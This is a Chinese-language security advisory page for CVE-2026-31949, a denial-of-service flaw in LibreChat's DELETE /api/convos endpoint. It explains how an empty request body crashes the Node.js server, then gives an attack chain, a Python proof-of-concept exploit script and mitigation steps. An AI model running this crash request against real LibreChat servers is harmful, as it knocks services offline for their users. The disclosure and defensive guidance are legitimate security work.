IPBUF安全漏洞报告
English
CVE-2026-31949 CVSS 6.5 中危

CVE-2026-31949 LibreChat DELETE /api/convos 拒绝服务漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-31949
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

拒绝服务LibreChatNode.jsAPI漏洞CVE-2026-31949Express参数解构0.8.3-rc1

漏洞概述

LibreChat是一款开源的ChatGPT克隆项目,具有额外的功能特性。在0.8.3-rc1之前的版本中,存在一个拒绝服务(DoS)漏洞,漏洞位于DELETE /api/convos端点。该漏洞允许经过身份认证的低权限攻击者通过发送格式错误的请求来导致Node.js服务器进程崩溃。攻击者利用了DELETE /api/convos路由处理器尝试解构req.body.arg参数时未进行存在性验证的问题,当请求体中缺少arg属性时,会触发未处理的TypeError错误。该错误绕过了Express的错误处理中间件,直接触发process.exit(1),导致服务器进程终止。此漏洞可被远程利用,对服务的可用性造成严重影响。

技术细节

漏洞根源在于LibreChat的/api/convos DELETE路由处理器中存在不安全的参数解构操作。代码直接执行const { arg } = req.body而未检查req.body是否存在或arg属性是否存在。当攻击者发送一个不包含arg字段的DELETE请求时,JavaScript会尝试从undefined中解构arg属性,触发TypeError: Cannot destructure property 'arg' of 'undefined' as it is undefined。由于Express的错误处理中间件无法捕获这种同步解构错误,错误会向上传播,最终导致Node.js进程调用process.exit(1)强制终止。攻击者只需拥有有效的用户凭据,即可构造恶意DELETE请求到/api/convos端点,无需特殊的权限即可触发漏洞。修复方案是在解构前验证req.body是否存在,或使用可选链操作符提供默认值。

攻击链分析

STEP 1
步骤1
攻击者获取LibreChat的有效用户凭据(低权限账户即可)
STEP 2
步骤2
攻击者构造恶意的DELETE请求到/api/convos端点,请求体不包含arg属性
STEP 3
步骤3
服务器端路由处理器尝试执行const { arg } = req.body,触发TypeError
STEP 4
步骤4
未处理的TypeError绕过Express错误中间件,触发process.exit(1)
STEP 5
步骤5
Node.js服务器进程强制终止,服务中断,形成拒绝服务攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-31949 PoC - LibreChat DELETE /api/convos DoS # Target: LibreChat < 0.8.3-rc1 def exploit_cve_2026_31949(target_url, auth_token): """ Exploit for LibreChat DoS vulnerability in DELETE /api/convos endpoint """ url = f"{target_url}/api/convos" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Send malformed request without 'arg' property in body # This will trigger TypeError in route handler due to unsafe destructuring data = {} # Empty body - missing 'arg' property try: response = requests.delete(url, json=data, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 200 or response.status_code == 500 except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return False # Usage # target_url = "http://target-server:3000" # auth_token = "your-auth-token" # exploit_cve_2026_31949(target_url, auth_token)

影响范围

LibreChat < 0.8.3-rc1

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1) 限制对/api/convos DELETE端点的访问,仅允许必要的管理员操作;2) 在反向代理层(如Nginx)添加请求验证规则,拒绝不包含必要参数的DELETE请求;3) 监控服务器进程状态,设置自动重启机制以应对进程意外终止;4) 考虑临时禁用DELETE /api/convos功能,等待补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表